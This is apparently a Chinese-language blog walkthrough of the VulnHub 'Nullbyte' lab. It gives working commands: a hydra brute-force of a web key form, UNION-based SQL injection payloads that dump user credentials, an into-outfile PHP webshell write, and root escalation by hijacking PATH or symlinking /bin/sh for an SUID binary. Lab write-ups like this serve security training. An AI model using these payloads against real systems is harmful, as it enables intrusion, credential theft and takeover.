vulnhub Nullbyte

vulnhub Nullbyte walkthrough

0x01 端口扫描

主机发现:
1

全端口扫描:

1

详细信息扫描:

1

从rpcinfo感觉可能需要用到udp端口,多扫下udp:

1

只开了rpcbind和一个网络配置服务(zeroconf),看来无需udp

接着脚本扫描:

1

枚举出了phpmyadmin和uploads页面,思路转到web渗透

0x02 web渗透

先打开目录爆破:

1

访问web服务:

1

只有一个图片,先下载,等待目录爆破结果:

1

1

然而没什么新的有效信息,顺着访问phpmyadmin和uploads

1

uploads说我们没有权限查看该目录的列表,但是推测可以通过/uploads/shell.php访问内容

1

常规的登录界面,测试注入无果
线索只剩了main.gif,推测其中有信息隐写

exiftool查看图片信息

1
exiftool main.gif

1

在图片详细信息中就发现了一段文字kzMb5nVYJw
先保存到hint.txt

1

尝试直接做phpmyadmin登录、ssh登录,全部失败
尝试抓包对uploads目录直接上传文件,失败
尝试gif图片隐写检查,失败

突然突发奇想,ctf比赛时为了防止目录爆破经常起奇怪的文件名,尝试将这段文字当作路径,居然还真成功了:

1

接着对着这个页面是一顿测注入,能测的都测了一遍,结果发现这页面不能执行sql语句,大概率就没连着数据库。就是一个单纯的验证key的界面,目前只能期望hydra爆破能走通了…

hydra爆破

参考:[[入门打靶 (5台wp)#hydra密码爆破]]

1

1
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.130 -s 80 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^&ps=^USER^:invalid key"

根据抓取的数据包构造以上爆破语句,用rockyou成功爆破出key
登录:

1

登录后终于来到有查询功能的页面,抓包开测注入:

1

确认存在sql注入,且是”型,测万能语句“or 1#

1

测出列数为3:

1

尝试写马:

1

失败,可能是路径猜测错误,也可能是没有权限
老老实实查内容:

1

1
" union select 6,7,group_concat(schema_name) from information_schema.schemata#

两个库最感兴趣:phpmyadmin、seth
先查phpmyadmin:

1
" union select 6,7,group_concat(table_name) from information_schema.tables where table_schema='phpmyadmin'#

1

说实话看到这个前缀就感觉不会有什么有用信息,但保险起见还是看看这两个和user相关的表:

1
" union select 6,7,group_concat(column_name) from information_schema.columns where table_name='pma_userconfig'#

1

果然是两张空表
转回seth库:

1

只有users表:

1

把数据全dump出来:

1
" union select 6,7,group_concat(id,0x7c,user,0x7c,pass,0x7c,position,0x7c) from users#

1

得到一个ramses的凭据:
id:ramses
pass:YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE

解码:

1

1

1

成功解出最终凭据:
ramses@omega

尝试登录ssh、phpmyadmin:

0x03 获得立足点(ssh777端口)

1
ssh -p 777 ramses@10.10.10.130

1

ssh登录成功,直接拿到了立足点,感觉无需再去尝试phpmyadmin的登录
开始做信息收集,先完善tty:

1

1、枚举home目录,都无写权限,放弃写公钥横向提权

1

2、sudo枚举,没有任何结果

1

3、自动任务枚举:

1
cat /etc/cron

1

4、s位枚举:

1
find / -perm -u=s -type f 2>/dev/null

1

一眼看到最特殊的/var/www/backup/procwatch,基本可以肯定它有问题
且gtfobins查询其余文件均无法s位提权

0x04 suid提权

1

很遗憾只有执行权限,先执行一次看看:

1

好像是执行了一次ps和sh的操作,并把ps的结果返回了?
感觉可以软链接提权:

1

因为不太熟悉这种提权方式,不知道为什么不太行…
突然想到可以劫持ps的环境变量,实现指向sh:

1
2
export PATH=/tmp:$PATH
export PATH=.:$PATH

1

成功提权

1

拿到凭证

0x05 自我反思补足

sql注入写马

1

当时还向/tmp目录写做了尝试,打完后发现tmp的确实写进去了

1

查看web根目录权限,发现是因为mysql用户并无该目录的写权限

1

1

软链接提权

1
ln -s <target> <link_name>

link_name为被劫持文件

1

首先被劫持文件不能已经存在,否则报错
其次如果想要强制替换已存在的被劫持文件,参数可改为-sf,但也需要有写权限

1

所以一般情况下,软链接提权要和环境变量劫持一同使用,如下:
(由于当前目录也有写权限,直接把当前目录写入环境变量即可)

1

1
ln -s /bin/sh ps

即在当前目录生成一个ps文件,并软链接指向/bin/sh

之后执行 ./procwatch 触发root sh

1

0x06 总结

  1. 端口扫描:80 web服务,777 ssh服务
  2. web渗透:从图片详细信息得到隐藏路径,在sql注入失败的情况下对隐藏路径的登录key值进行爆破,成功进到连接数据库的查询页面;使用联合查询对其注入,得到用户信息,解码后为ssh凭据
  3. 提权:通过ssh获得立足点,枚举发现root身份的s位脚本文件,该脚本以root身份执行ps命令;通过劫持ps命令的执行文件,换为执行sh,获得root shell;此处亦可通过软链接劫持ps命令达到相同效果

0x07 看wp及视频后反思补足

对于自我反思补足部分的勘误补足:
虽然/var/www/html目录整体并无写入权限,但是存在uploads页面,不妨大胆推测此处可进行写操作,尝试对/var/www/html/uploads写马:

1

1
" union select 6,7,'<?php phpinfo();?>' into outfile '/var/www/html/uploads/info.php'#

1

接着写马弹shell即可

反思:盲打阶段虽然考虑到了尝试写马,但当发现不能直接写到网站根目录时放弃过早,即使没有从uploads的名字联想到可以写数据,也应该根据目录爆破结果逐个尝试(intruder)


vulnhub Nullbyte
https://fyhypo.github.io/blog/vulnhub/vulnhub Nullbyte/
作者
FYHypo
发布于
2024年3月24日
许可协议